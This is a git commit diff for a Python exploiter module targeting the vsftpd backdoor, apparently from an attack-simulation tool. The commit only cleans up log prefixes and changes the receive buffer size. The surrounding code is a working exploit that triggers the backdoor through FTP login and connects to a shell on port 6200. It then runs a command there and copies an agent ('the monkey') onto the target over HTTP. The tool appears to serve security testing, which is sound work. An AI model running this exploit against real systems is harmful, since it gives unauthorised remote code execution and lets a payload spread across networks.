Update vsftpd.py

Removed (+,! ) used for debugging.
Changed the recv size from 1024 to 128
This commit is contained in:
Dhayalan 2019-03-13 11:31:26 +01:00
parent 53f12f4b67
commit 01cc702906
1 changed files with 11 additions and 11 deletions

View File

@ -31,31 +31,31 @@ class VSFTPDExploiter(HostExploiter):
def exploit_host(self):
try:
LOG.info('[*] Attempting to trigger backdoor...')
LOG.info('Attempting to trigger backdoor...')
ftp_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ftp_socket.connect((self.host.ip_addr, FTP_PORT))
ftp_socket.recv(1024).decode('utf-8')
ftp_socket.recv(128).decode('utf-8')
# Attempt to login to trigger backdoor
ftp_socket.send(USERNAME)
ftp_socket.recv(1024).decode('utf-8')
ftp_socket.recv(128).decode('utf-8')
ftp_socket.send(PASSWORD)
time.sleep(1)
ftp_socket.close()
LOG.info('[+] Triggered backdoor')
LOG.info('Triggered backdoor')
except socket.error as e:
LOG.error('[!] Failed to trigger backdoor on %s' , self.host.ip_addr)
LOG.error('Failed to trigger backdoor on %s' , self.host.ip_addr)
try:
LOG.info('[*] Attempting to connect to backdoor...')
LOG.info('Attempting to connect to backdoor...')
backdoor_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
backdoor_socket.connect((self.host.ip_addr, 6200))
LOG.info('[+] Connected to backdoor on %s:6200', self.host.ip_addr)
LOG.info('Connected to backdoor on %s:6200', self.host.ip_addr)
command = str.encode("uname -m" + '\n')
backdoor_socket.send(command)
response = backdoor_socket.recv(1024).decode('utf-8')
LOG.info('[+] Response for uname -m: %s', response)
response = backdoor_socket.recv(128).decode('utf-8')
LOG.info('Response for uname -m: %s', response)
if '' != response.lower().strip():
#command execution is successful
self.host.os['machine'] = response.lower().strip()
@ -72,7 +72,7 @@ class VSFTPDExploiter(HostExploiter):
return False
LOG.info('[+] Connected to backdoor on %s:6200', self.host.ip_addr)
LOG.info('Connected to backdoor on %s:6200', self.host.ip_addr)
#copy the monkey into the machine
http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path)
@ -113,7 +113,7 @@ class VSFTPDExploiter(HostExploiter):
self._exploit_info['Vulnerability'] = {"Success":"True"}
except socket.error as e:
LOG.error('[!] Failed to connect to backdoor on %s:6200', self.host.ip_addr)
LOG.error('Failed to connect to backdoor on %s:6200', self.host.ip_addr)
LOG.error('Error Connecting to backdoor. Error: %s' % e)
return False